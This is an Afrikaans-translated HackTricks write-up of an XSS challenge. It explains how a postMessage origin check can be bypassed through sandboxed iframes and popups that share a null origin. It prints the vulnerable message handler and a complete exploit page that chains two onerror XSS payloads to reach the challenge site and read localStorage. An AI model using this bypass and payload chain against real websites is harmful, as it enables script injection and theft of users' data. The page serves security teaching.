hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
2024-02-11 02:07:06 +00:00

5.9 KiB

Oorsteek van SOP met Iframes - 1

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-1

In hierdie uitdaging wat deur NDevTK en Terjanq geskep is, moet jy 'n XSS uitbuiting in die gekodeerde

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}

Die hoofprobleem is dat die hoofbladsy DomPurify gebruik om die data.body te stuur, sodat jy jou eie html-data na daardie kode kan stuur, moet jy e.origin !== window.origin omseil.

Kom ons kyk na die oplossing wat hulle voorstel.

SOP-omseiling 1 (e.origin === null)

Wanneer //example.org in 'n sandboxed iframe ingebed word, sal die bladsy se oorsprong null wees, m.a.w. window.origin === null. Deur die iframe in te sluit deur middel van <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> kan ons dus die null oorsprong afdwing.

As die bladsy ingebed kon word, kon jy daardie beskerming op hierdie manier omseil (koekies moet moontlik ook op SameSite=None gestel word).

SOP-omseiling 2 (window.origin === null)

Die minder bekende feit is dat wanneer die sandbox-waarde allow-popups ingestel is, die geopen popup al die sandbox-attribuute sal oorneem, tensy allow-popups-to-escape-sandbox ingestel is.
Dus, as 'n popup van 'n null oorsprong geopen word, sal window.origin binne die popup ook null wees.

Uitdagingoplossing

Daarom kan jy vir hierdie uitdaging 'n iframe skep, 'n popup oopmaak na die bladsy met die kwesbare XSS-kodehanterer (/iframe.php), omdat beide window.origin === e.origin is omdat beide null is, is dit moontlik om 'n lading te stuur wat die XSS sal uitbuit.

Daardie lading sal die identifiseerder kry en 'n XSS terugstuur na die bo-bladsy (die bladsy wat die popup oopmaak), wat die plek sal verander na die kwesbare /iframe.php. Omdat die identifiseerder bekend is, maak dit nie saak dat die voorwaarde window.origin === e.origin nie bevredig word (onthou, die oorsprong is die popup van die iframe wat oorsprong null het) omdat data.identifier === identifier. Dan sal die XSS weer geaktiveer word, hierdie keer in die korrekte oorsprong.

<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!